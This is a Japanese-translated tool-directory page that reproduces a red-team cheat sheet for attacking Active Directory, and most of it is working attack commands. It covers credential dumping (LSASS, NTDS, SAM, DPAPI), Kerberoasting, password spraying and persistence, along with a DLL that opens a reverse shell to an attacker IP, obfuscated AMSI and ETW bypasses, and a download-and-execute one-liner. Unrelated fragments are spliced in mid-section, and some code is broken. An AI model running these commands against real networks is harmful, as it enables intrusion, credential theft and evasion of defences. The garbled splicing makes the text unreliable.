Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Awesome-RedTeam-Cheatsheet — 常に拡張中のRed Teamチートシート | Kitploit
ツール/GitHubGitHub/ristbs/awesome-redteam-cheatsheet
特権昇格永続化メカニズム横移動ペネトレーションテスト学習と教育レッドチーミング厳選リソース
GitHubristbs/awesome-redteam-cheatsheet

Awesome-RedTeam-Cheatsheet

常に拡張中のRed Teamチートシート

リポジトリを見る
1.3k1673年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

image


レッドチームテクニック

  • 初期アクセステクニック (近日公開)
  • コード実行テクニック (近日公開)
  • 横方向移動テクニック (近日公開)
  • 回避テクニック (近日公開)
  • 永続化テクニック (近日公開)
  • 権限昇格テクニック (近日公開)
  • 資格情報ダンプテクニック (近日公開)
  • ピボットテクニック (近日公開)

Windows プロトコルと用語

  • Windows プロトコルと用語ガイド (近日公開)

その他

  • OPSEC ガイド
  • マルウェア開発
  • AD Azure クラウドへの攻撃 (近日公開)

サポート

こちらからサポートいただけます 🐱 :

Active-Directory-Cheat-sheet

このAD攻撃チートシートは、RistBSが作成したもので、Active-Directory-Exploitation-Cheat-Sheet リポジトリに触発されています。

目次

  • RistBSによるADエクスプロイトチートシート
    • 目次
    • ツール
    • Powershellコンポーネント
      • Powershellの小技
      • PSWAの悪用
    • 情報収集
      • GPO情報収集
      • ACLとACEの情報収集
      • RIDサイクリング
    • 権限昇格
      • トークンの偽装
      • Kerberoasting
      • ASREPRoasting
      • DNSAdmin
    • 横方向移動
      • WMIExec
    • 資格情報のダンプ
      • LSASSダンプ
      • NTDSダンプ
      • DPAPIの悪用
      • LSAダンプ
      • SAMダンプ
      • リモートおよび直接レジストリのダンプ
      • GMSAパスワードの読み取り
    • ハッシュの解析
    • ADパスワードのブルートフォース
      • カスタムユーザー名とパスワードのワードリスト
    • ピボット
      • SMBパイプ
      • SharpSocks
      • DVC経由のRDPトンネリング
    • 永続化
      • SIDHistoryインジェクション
      • AdminSDHolderとSDProp
    • ACLとACEの悪用
      • GenericAll
    • 拡張セキュリティの回避
      • アンチマルウェアスキャンインターフェイス
      • ConstrainLanguageMode
      • Just Enough Administration

ツール

Powershellツール :

  • [⭐] Nishang -> https://github.com/samratashok/nishang

nishangには、Powershell環境でのWindowsペネトレーションテストに役立つスクリプトが多数含まれています。

  • [⭐] PowerView -> https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

powerviewはpowersploitのスクリプトで、横方向移動の可能性があるADアーキテクチャの列挙を可能にします。

列挙ツール :

  • [⭐] Bloodhound -> https://github.com/BloodHoundAD/BloodHound
  • [⭐] crackmapexec -> https://github.com/byt3bl33d3r/CrackMapExe

ADエクスプロイトツールキット :

  • [⭐] Impacket -> https://github.com/SecureAuthCorp/impacket
  • [⭐] kekeo -> https://github.com/gentilkiwi/kekeo

ダンプツール :

  • [⭐] mimikatz -> https://github.com/gentilkiwi/mimikatz
  • [⭐] rubeus -> https://github.com/GhostPack/Rubeus

リスナーツール :

  • [⭐] responder -> https://github.com/SpiderLabs/Responder

Powershellコンポーネント

Powershellの小技

PS-Session :```powershell #METHOD 1 $c = New-PSSession -ComputerName 10.10.13.100 -Authentication Negociate -Credential $user Enter-PSSession -Credential $c -ComputerName 10.10.13.100

METHOD 2

$pass = ConvertTo-SecureString 'Ab!Q@aker1' -asplaintext -force $cred = New-Object System.Management.Automation.PSCredential('$user, $pass') Enter-PSSession -Credential $c -ComputerName 10.10.13.100

root@kitploit:~
### PSWA の悪用

資格情報を持つ誰でも任意のマシンと任意の設定に接続できるようにする

**[ ! ] この操作には資格情報が必要です。**```powershell
Add-PswaAuthorizationRule -UsernName * -ComputerName * -ConfigurationName *

列挙

SPNを持つユーザーを見つける

PowerView を使用:```powershell Get-NetUser –SPN

root@kitploit:~
> [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) を使用 :```powershell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

信頼の列挙

MapTrust :```powershell Invoke-MapDomainTrust

root@kitploit:~
**現在のドメインのドメイン信頼 :**

> [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) を使用 :```powershell
Get-NetDomainTrust #Find potential external trust
Get-NetDomainTrust –Domain $domain

AD Module を使用する :```powershell Get-ADTrust Get-ADTrust –Identity $domain

root@kitploit:~
### フォレスト列挙

**現在のフォレストの詳細 :**```powershell
Get-NetForest
Get-NetForest –Forest $forest
Get-ADForest
Get-ADForest –Identity $domain

GPO 列挙

GPOの一覧```powershell Get-NetGPO Get-NetGPO -ComputerName $computer Get-GPO -All Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html

root@kitploit:~
### ACL と ACE の列挙

**すべての ACE を列挙**```powershell
 Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq
$("$env:UserDomain\$env:Username")) {$_}}

ユーザーと権限の列挙```powershell

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}

root@kitploit:~
*ユーザーが既にSPNを持っているか確認する :*
> [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) を使用して :```powershell
Get-DomainUser -Identity supportuser | select serviceprincipalname

使用 AD Module :```powershell Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName

root@kitploit:~
### LDAP 列挙```powershell
ldapsearch -x -h 10.10.10.x -p 389 -s base namingcontexts
ldapsearch -h 10.10.10.x -p 389 -x -b "dc=boxname,dc=local"
  • サービスアカウントを見つける```powershell ldapsearch -h 10.10.10.161 -p 389 -x -b "dc=box,dc=local" | grep "service"
root@kitploit:~
*認証ユーザーとしてのldapsearchを用いた列挙*```powershell
ldapsearch -x -h ldap.megacorp.corp -w '$pass'
ldapsearch -x -h 10.10.131.164 -p 389 -b "dc=megacorp,dc=corp" -D '[email protected]' -w 'vs2k6!'
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -s base namingcontexts
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -b 'dc=megacorp'

列挙: ldapdomaindump (認証済み) を使った素敵な出力``` ldapdomaindump 10.10.197.117 -u 'megacorp.corp\john' -p '$pass' --no-json --no-grep

root@kitploit:~
* nampスクリプトを使用した列挙*```bash
nmap -p 389 --script ldap-search 10.10.10.x
nmap -n -sV --script "ldap*" -p 389 10.10.10.x
nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='MEGACORP.CORP',userdb=/usr/share/wordlists/seclists/Usernames/Names/names.txt 10.10.13.100

SMB 列挙

crackmapexecを未認証で使用した列挙```bash crackmapexec smb 10.10.10.x --pass-pol -u '' -p ''

root@kitploit:~
*enumeration with crackmapexec (authenticated)*```powershell
crackmapexec smb 10.10.11.129 --pass-pol -u usernames.txt -p $pass --continue-on-sucess
crackmapexec smb 10.10.11.129 --pass-pol -u xlsx_users -p $pass --continue-on-sucess

kerbruteを用いた列挙、Kerberos事前認証ブルートフォース攻撃に対して:```bash /opt/kerbrute/dist/kerbrute_linux_amd64 userenum -d megacorp.local --dc 10.10.13.100 -o kerbrute.out users.txt /opt/kerbrute/dist/kerbrute_linux_amd64 userenum -d megacorp.htb --dc 10.10.13.100 -o kerbrute.out users.lst --downgrade

root@kitploit:~
> デフォルトでは、kerbruteは最も安全なモード(18 = sha1)を使用してハッシュを取得します。ダウングレードオプションを使用すると、非推奨の暗号化タイプバージョン(23 = rc4hmac)を取得できます。代わりにgetNPusersを使用してハッシュを取得する方が安全です!

*ユーザーに対してテストするパスワードまたはパスワードのリストを提供する*```bash
crackmapexec smb 10.10.13.100 --pass-pol -u users.lst -p password_list

ユーザーをいくつか列挙する```bash crackmapexec smb 10.10.13.100 -u users.txt -p $pass --users | tee userlist.txt

root@kitploit:~
### ドメインに対するパスワードスプレー```bash
/opt/kerbrute/dist/kerbrute_linux_amd64 passwordspray -d MEGACORP.CORP --dc 10.10.13.100 users.lst '$pass'

Bloodhound-Pythonを使用してドメイン、グループ、ユーザーをダンプ:```bash bloodhound-python -c all -u $user -p $password -d $domain -dc $dc_domain -ns $ip --disable-pooling -w1 --dns-timeout 30

root@kitploit:~
Bloodhoundのセットアップ:```bash
sudo neo4j console
sudo bloodhound

RID Cycling

グローバル構造 :``` S-1-5-21-40646273370-24341400410-2375368561-1036

root@kitploit:~
- `S-1-5-21`: **SはSID(セキュリティ識別子)を指します**
- `40646273370-24341400410-2375368561`: **ドメインまたはローカルコンピュータ識別子**
- `1036`: **RID(相対識別子)**

*ユーザーSIDの構造:*
- `S-1-5-21-40646273370-24341400410-2375368561`: **ドメインSID**
- `1036`: **ユーザーRID**

> [Crackmapexec](https://github.com/byt3bl33d3r/CrackMapExec) を使用:```bash
cme smb $target -u $username -p $password --rid-brute

lookupsid を使用 :```bash lookupsid.py MEGACORP/$user:'$password'@$target 20000

root@kitploit:~
the value "20000" in lookupsid is to indicate how many RID will be tested


## 特権昇格

### トークンのなりすまし

> なりすましトークン技術は、ユーザーのトークンを盗むことによってユーザーになりすますことを可能にします。このトークンは、SSO プロセス、インタラクティブ ログオン、実行中のプロセスなどにより、この技術を悪用することを可能にします。

> [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) を使用する :

*トークンを一覧表示する*```powershell
# Show all tokens
Invoke-TokenManipulation -ShowAll
# show usable tokens
Invoke-TokenManipulation -Enumerate

ユーザーのトークンで新しいプロセスを開始する```powershell Invoke-TokenManipulation -ImpersonateUser -Username "domain\user"

root@kitploit:~
*プロセストークン操作*```powershell
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe -ProcessId $id

Incognito を使用する場合:

incognitoを読み込み、トークンを一覧表示する:```bash meterpreter > use incognito meterpreter > list_tokens -g

root@kitploit:~
*NT AUTHORITY\SYSTEM のトークンを偽装する:*```powershell
meterpreter > getuid
Server username: job\john
meterpreter > impersonate_token "BUILTIN\Administrators"
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Kerberoasting

Kerberoast可能なユーザーの列挙```powershell Get-DomainUser -SPN | select name,serviceprincipalname

root@kitploit:~
> [impacket](https://github.com/SecureAuthCorp/impacket) を使用しています :```powershell
GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'

crackmapexec を使用```powershell crackmapexec ldap $target -u $user -p $password --kerberoasting kerberoastable.txt --kdcHost $kdc

root@kitploit:~
*ハッシュをクラックする :*```bash
# using JTR :
john --format=krb5tgs spn.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 13100 -a 0 spn.txt wordlist.txt --force

ASREPRoasting

asreproastable ユーザーを列挙する```powershell Get-DomainUser -PreauthNotRequired | select name

root@kitploit:~
## はじめに

### 前提条件
必要な Python パッケージをインストールします:

python3 -m pip install -r ./requirements.txt

root@kitploit:~

### クローン
このリポジトリを希望のディレクトリにクローンします:

git clone https://github.com/Aditya-dom/moonwalk.git

root@kitploit:~
GetNPUsers.py -format hashcat -outputfile ASREProastables.txt -dc-ip $kdc '$domain/$user:$password' -request
```
*ハッシュのクラッキング :*

`hashcat -m 18200 -a 0 hash wordlist.txt --force`

### DNSAdmin

> このグループのユーザーを列挙する :```powershell
# METHOD 1
Get-NetGroupMember -GroupName "DNSAdmins"
# METHOD 2
Get-ADGroupMember -Identity DNSAdmins
```
*この攻撃は、悪意のある任意のDLLを注入し、dns.exeサービスを再起動することから成ります。
DCはDNSサービスを提供しているため、特権をDAに昇格させることができます。*

> DLLファイル :```c
#include "stdafx.h"
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		system("c:\\windows\\system32\\spool\\drivers\\color\\nc.exe -e cmd.exe 10.10.14.51 5555");
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
```
msfvenomを使用してDLLファイルを作成することもできます:`msfvenom -p windows/x64/exec cmd='net user administrator aked /domain' -f dll > evil.dll`
これにより、SYSTEM権限で `net user administrator aked /domain` が実行されます

リモートDLLパスをWindowsレジストリに設定します```powershell
dnscmd dc01 /config /serverlevelplugindll \\10.10.14.33\share\evil.dll
```
`\\10.10.14.33\share\evil.dll` : SMB 共有

**DNSサービスの再起動**```powershell
sc.exe stop dns
sc.exe start dns
```
## ラテラルムーブメント

### WMIExec

*kerberos認証を使用*```powershell
impacket-wmiexec -k -no-pass [email protected]
```
## 資格情報のダンプ

### LSASSダンプ```powershell
cme <protocol> <ip> -u <user> -p <pass> -M lsassy
```
- https://github.com/Hackndo/lsassy```powershell
procdump --accepteula -ma lsass lsass.dmp
```
### リポジトリ```powershell
smbclient.py MEGACORP.LOCAL/[email protected]
# use C$
# cd Windows\Temp
# put procdump.exe
```
`macos_icons_hash`:
       `description`: 'macOS plistファイル内のアイコンのハッシュ',
       `regex`: `macos_icons_hash````powershell
psexec.py MEGACORP.LOCAL/[email protected] "C:\\Windows\\Temp\\procdump.exe -accepteula -ma lsass C:\\Windows\\Temp\\lsass.dmp"
```
```powershell
smbclient.py MEGACORP.LOCAL/[email protected]
# get lsass.dmp
```
> mimikatzを使用して認証情報を解析```powershell
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
```
you can do it locally with mimikatz using : `sekurlsa::logonpasswords`.


### NTDS ダンプ

**DRSUAPI を悪用した NTDS ダンプ**```powershell
crackmapexec smb 10.10.13.100 -u 'Administrator' -p $password --ntds drsuapi
```
**VSSを悪用したNTDSダンプ**

> [Crackmapexec]() の使用 :```powershell
crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' --ntds vss
```
*手動で行うこともできます。*```powershell
vssadmin create shadow /for=C:
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save
vssadmin delete shadows /shadow=$ShadowCopyId
```
### DPAPIの悪用

> dump DPAPI BK```bash
dpapi.py backupkeys -t $domain/$user:$password@$target
```
> DPAPI MK を復号化```bash
# Decrypt DPAPI MK using BK
dpapi.py masterkey -file "/path/to/masterkey" -pvk "/path/to/backup_key.pvk"
# Decrypt DPAPI MK using MK password and user SID
dpapi.py masterkey -file "/path/to/masterkey" -sid $USER_SID -password $mk_password
```
> MKを使って保護されたファイルを復号化中```bash
dpapi.py credential -file "/path/to/protected_file" -key $MASTERKEY
```
*JTR で DPAPI マスターキーをクラックする*```bash
python DPAPImk2john.py --sid="$SID" --masterkey="$MASTER_KEY" --context="local"
john dpapimk.dmp --wordlist=/usr/share/wordlists/rockyou.txt --rules=custom.rule
```
### LSA ダンプ

**mimikatz はこのコマンドで使用できます : `lsadump::secrets`**

### SAM ダンプ

*SYSTEM ハイブと SAM を別のディレクトリに保存します*```powershell
reg save HKLM\SAM c:\path\to\SAM
reg save HKLM\SYSTEM c:\path\to\SYSTEM
```
INPUT:```powershell
lsadump::sam /system:c:\path\to\SYSTEM /sam:c:c:\path\to\SAM
```
または単に使用: `lsadump::sam`

**[ 📝 ] 注意** : *以下のコマンドを使用して、crackmapexec **または** secretdumpでSAMおよびLSAをダンプできます:*```bash
secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'
```
```bash
crackmapexec smb $ip -d $domain -u $user -p $password --sam/--lsa
```
### リモートで直接レジストリをダンプ

[ ❓ ] **レジストリとは?**:レジストリは**ハイブ**と呼ばれる複数のセクションに分かれています。レジストリハイブとは、特定の目的のために**レジストリキー**を格納するためにWindowsシステムによって事前定義された最上位のレジストリキーです。各レジストリハイブには特定の目的があり、**6つのレジストリハイブ(HKCU, HKLM, HKCR, HKU, HKCC, HKPD)**が存在します。ペネトレーションテストにおいて最も興味深いレジストリハイブはHKUとHKLMです。

**HKEY_LOCAL_MACHINE**(HKLM)には、SAM、SYSTEM、SECURITYの3つのキーが含まれています。

> HKLMからSYSTEMとSECURITYをリモートでダンプ:```bash
secretsdump.py local -system SYSTEM -security SECURITY -ntds ntds.dit -outputfile hashes
```
> リモートで HKU レジストリを hashes 引数を使用してダンプします:```bash
impacket-reg -hashes :34ed87d42adaa3ca4f5db34a876cb3ab domain.local/john.doe@job query -keyName HKU\\Software

HKU\Software
HKU\Software\GiganticHostingManagementSystem
HKU\Software\Microsoft
HKU\Software\Policies
HKU\Software\RegisteredApplications
HKU\Software\Sysinternals
HKU\Software\VMware, Inc.
HKU\Software\Wow6432Node
HKU\Software\Classes
```
### GMSAパスワードの読み取り```powershell
$user = 'USER'
$gmsa = Get-ADServiceAccount -Identity $user -Properties 'msDS-ManagedPassword'
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$cred = New-Object System.Management.Automation.PSCredential $user, $mp.SecureCurrentPassword
````
*gMSA ダンプ:*```bash
python3 gMSADumper.py -u $user -p $password -d $domain.local
```
## ハッシュクラッキング

> LM :```bash
# using JTR :
john --format=lm hash.txt
# using hashcat :
hashcat -m 3000 -a 3 hash.txt
```
> 注記 :```bash
# using JTR :
john --format=nt hash.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 1000 -a 3 hash.txt
```
> NTLMv1 :```bash
# using JTR :
john --format=netntlmv1 hash.txt
# using hashcat :
hashcat -m 5500 --force -a 0 hash.txt wordlist.txt
```
> NTLMv2 :```bash
# using JTR :
john --format=netntlmv2 hash.txt
# using hashcat :
hashcat -m 5600 --force -a 0 hash.txt wordlist.txt
```
注: hashcat の一部のハッシュタイプは **etype** に依存します。

## ADパスワードのブルートフォース

### カスタムユーザー名とパスワードのワードリスト

デフォルトのパスワードリスト (pwd_list) :
`
Autumn
Spring
Winter
Summer
`
create passwords using bash & hashcat :```bash
for i in $(cat pwd_list); do echo $i, echo ${i}\!; echo ${i}2019; echo ${i}2020 ;done > pwds
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u | awk 'length($0) > 7' > pwlist.txt
```
デフォルトのユーザー名リスト (users.list) :```
john doe
paul smith
jacaques miller
```
username-anarchy を使用してカスタムユーザー名を作成する :```bash
./username-anarchy --input-file users.list --select-format first,first.last,f.last,flast > users2.list
```
## ピボット

**カスタムルールを使った WDFW によるピボット**```powershell
netsh interface portproxy add v4tov4 listenaddress=LOCAL_ADDRESS listenport=LOCALPORT connectaddress=REMOTE_ADDRESS connectport=REMOTE_PORT protocol=tcp
```
*ローカルポートへの接続を許可*```powershell
netsh advfirewall firewall add rule name="pivot like a pro" protocol=TCP dir=in localip=LOCAL_ADDRESS localport=LOCAL_PORT action=allow
```
### SMB パイプ

**ローカル/リモートポートは転送できます** **SMB パイプを使用して**。これには [Invoke-Piper](https://github.com/p3nt4/Invoke-Piper) または [Invoke-SocksProxy](https://github.com/p3nt4/Invoke-SocksProxy) を使用できます。
- `Invoke-Piper` : *ローカルまたはリモートポートの転送に使用されます*
- `Invoke-SocksProxy` : *動的ポート転送に使用されます*

**ケース 1** *Pivot用パイプ経由ローカルポート転送: `-L 33389:127.0.0.1:3389`*

> サーバー側 :```powershell
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3389
```
> クライアントサイド :```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 33389
```
**ケース 2** *管理者のみのパイプ経由リモートポートフォワーディング(ピボット用):`-R 33389:127.0.0.1:3389`*

> サーバーサイド:```powershell
Invoke-PiperServer -remote -bindPipe forPivot -bindPort 33389 -security Administrators
```
> クライアントサイド :```powershell
Invoke-PiperClient -remote -destPipe forPivot -pipeHost $server_ip -destHost 127.0.0.1 -destPort 3389
```
**Case 3** *Invoke-SocksProxy で forPivot を NamedPipe として使用した動的ポートフォワーディング: `-D 3333`*

> サーバー側 :```powershell
Invoke-SocksProxy -bindPort 3333
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3333
```
> クライアント側 :```powershell
Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 3333
```
### SharpSocks

**SharpSocks は主に C2 Frameworks で使用され、C2 Implants と連携します**

*サーバーを構築:*```powershell
PS> .\SharpSocksServer.exe --cmd-id=$id --http-server-uri=$uri --encryption-key=$key -v
```
### RDP トンネリング(DVC 経由)

*ドライブの共有:*```powershell
PS > regsvr32 UDVC-Plugin.dll
PS > subst.exe x: C:\Users\john\RDP_Tools
```
*ドライブをマッピングする:*```powershell
PS > net use x: \\TSCLIENT\X
```
SSFD.exe でサーバーを作成する```powershell
PS > ssfd.exe -p 8080
```
*DVCサーバーでSSFポートをリダイレクト:*```powershell
PS > ./UDVC-Server.exe -c -p 8080 -i 127.0.0.1

[*] Setting up client socket
[*] Connected to: 127.0.0.1:8080
[*] Starting thread RsWc
[*] Starting thread RcWs
[*] Wait for threads to exit...
```
*SSFDをSOCKプロキシとして*```powershell
PS > ssf.exe -D 9090 -p 31337 127.0.0.1
```
## 永続化

### SIDHistory インジェクション

### AdminSDHolder と SDProp

> [ ❓ ] : DA 権限 (フルコントロール/書き込み権限) を持つ AdminSDHolder オブジェクトを使用すると、そのオブジェクトにフル権限 (またはその他の興味深い権限) を持つユーザーを追加することで、バックドア/永続化メカニズムとして使用できます。
60 分後 (SDPROP の実行時)、そのユーザーは Domain Admins などのグループの ACL にフルコントロールで追加されますが、実際にはそのメンバーではありません。

> [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) を使用:```powershell
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights All -Verbose
```
> を使用 [AD Module](https://docs.microsoft.com/en-us/powershell/module/activedirectory/?view=windowsserver2022-ps) :```powershell
Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=megacorp,DC=megacorp,DC=local' -Principal $user -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights ResetPassword -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights WriteMembers -Verbose
```
*SDPropを手動で実行する*```powershell
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
```
## ACLs and ACEs の悪用

### GenericAll

**ユーザーが所属し、明示的なアクセス権を持つすべてのグループを一覧表示する**```powershell
Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
```
- **前提条件**
  - MSBuildがインストールされており、PATHが設定されていることを確認してください。デフォルトでは、すべてのWindowsにはパス `"C:\Windows\Microsoft.NET\Framework64\v4.0.30319"` にMSBuildがあります。これを環境変数PATHに追加してください。
  - [Visual Studio](https://visualstudio.microsoft.com/) または [Visual Studio Build Tools](https://visualstudio.microsoft.com/downloads/?q=build+tools) を、"Visual C++ Build Tools" ワークロードと共にインストールしてください。MSBuildはターゲットの.NET Frameworkバージョンではなくビルドツールに基づいてコンパイルするため、利用可能な最新バージョンを選択してください。
  - 注意: この攻撃は最新のWindowsバージョン(例: Windows 11 22h2以降)では機能しない可能性があります。Windowsのバージョンとビルド番号を確認してください。
- **手順**
  1. **悪意のあるDLLの生成**
     - GitHubリポジトリをクローンします: `git clone https://github.com/fortra/CVE-2024-35250`。
     - Visual Studioで `CVE-2024-35250.sln` ファイルを開き、NuGetパッケージを復元します。または手動でパッケージをインストールします:
         ```
         Install-Package StreamJsonRpc
         Install-Package Microsoft.VisualStudio.Threading
         ```
       - `Program.cs` ファイル内の "IP_ADDRESS" と "PORT" の値を更新します。
     - `Program.cs` ファイル内で実行するコマンドを更新します。
     - プロジェクトをビルドします。
     - 実行時、DLLは攻撃者のマシンに接続し、シェルを提供します。
  2. **Netcatリスナーの設定**
     - ターミナルを開き、Netcatリスナーを設定します: `rlwrap nc -lvnp <PORT>`。
  3. **エクスプロイトのトリガー**
     - 次のコマンドを実行して、リモートのWebDAV共有 `\\<attacker_ip>\<share_name>\<malicious_dll>` にDLLをロードするように設定します:
       ```
       reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\kernel" /v "MsiProvDll" /t REG_SZ /d "\\<attacker_ip>\<share_name>\<malicious_name>" /f
       ```
     - 注意: リポジトリには `CVE-2024-35250_POC.exe` というPOCがあり、悪意のあるDLLのレジストリキーを自動設定できます。```powershell
net group Administrator aker /add /domain
```
## 強化されたセキュリティバイパス

### マルウェア対策スキャンインターフェース```powershell
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/%22%7B1%7D%7B0%7D%22-F%27F%27,%27rE%27) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
```
Powershell6からAMSIをパッチする :```powershell
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)
```
### ConstrainLanguageMode

**runspace** を使用してCLMをバイパスする:```cs
static void Main(string[] args){
    Runspace run = RunspaceFactory.CreateRunspace();
    run.Open();

    PowerShell shell = PowerShell.Create();
    shell.Runspace = run;

    String cmd = "iex(new-object net.webclient).DownloadString('http://10.10.14.33/script')";
    shell.AddScript(cmd);
    shell.Invoke();
    run.Close();
}
```
### Just Enough Administration

> 現在の言語レベルを表示 :```powershell
# METHOD 1
(Get-PSSessionConfiguration -Name Test).LanguageMode
# METHOD 2
$ExecutionContext.SessionState.LanguageMode # use property
```
> ConstrainedLanguage 内の JEA をバイパス :```powershell
{ C:\Windows\System32\spool\drivers\color\nc.exe -e powershell.exe 10.10.14.33 9003 }
```
### ExecutionPolicy```powershell
powershell -ExecutionPolicy Bypass -File C:\script.ps1
```
> エンコーディングを使用してEPをバイパスする :```powershell
$command = "Write-Host 'hello world'"; $bytes = [System.Text.Encoding]::Unicode.GetBytes($command);$encoded = [Convert]::ToBase64String($bytes); powershell.exe -EncodedCommand $encoded
```
### RunAsPPL for Credentials Dumping

[ ❓ ] : [RunAsPPL](https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection) は、**保護されていないプロセス**によるメモリ読み取りやコードインジェクションを防ぐための**追加の LSA 保護**です。

> mimikatz で RunAsPPL をバイパスする :```
mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-
```
### ETWの無効化```powershell
[Reflection.Assembly]:https://raw.githubusercontent.com/ristbs/awesome-redteam-cheatsheet/HEAD/:LoadWithPartialName(%27System.Core%27).GetType(%27System.Diagnostics.Eventing.EventProvider%27).GetField(%27m_enabled%27,%27NonPublic,Instance%27).SetValue(%5BRef%5D.Assembly.GetType(%27System.Management.Automation.Tracing.PSEtwLogProvider%27).GetField(%27etwProvider%27,%27NonPublic,Static%27).GetValue($null),0)
```
このコマンドに対して難読化手法を試すことができます。ETWの詳細については、私のコース[こちら](https://github.com/RistBS/Active-directory-Cheat-sheet/blob/exploit-development/FR%20-%20ETW%20Bypassing.md)を参照してください。


## MS Exchange

### OWA EWS and EAS Password Spraying

> [MailSniper](https://github.com/dafthack/MailSniper/blob/master/MailSniper.ps1) を使用:```powershell
# OWA (Outlook web App)
Invoke-PasswordSprayOWA -ExchHostname $domain -UserList .\users.txt -Password $password
# EAS (Exchange ActivSync)
Invoke-PasswordSprayEAS -ExchHostname $domain -UserList .\users.txt -Password $password
# EWS (Exchange Web Service)
Invoke-PasswordSprayEWS -ExchHostname $domain -UserList .\users.txt -Password $password
```
> を使用して [ruler](https://github.com/sensepost/ruler) :```bash
./ruler -domain $domain --insecure brute --userpass $userpass.txt -v
```
### GAL と OAB の抽出

**GAL (グローバルアドレス帳) の抽出**```powershell
./ruler -k -d $domain -u $user -p $password -e [email protected] --verbose abk dump -o email_list.txt
```
> PowerShellを使用 :```powershell
PS C:\> Get-GlobalAddressList -ExchHostname mx.megacorp.com -UserName $domain\$user -Password $password -OutFile email_list.txt
```
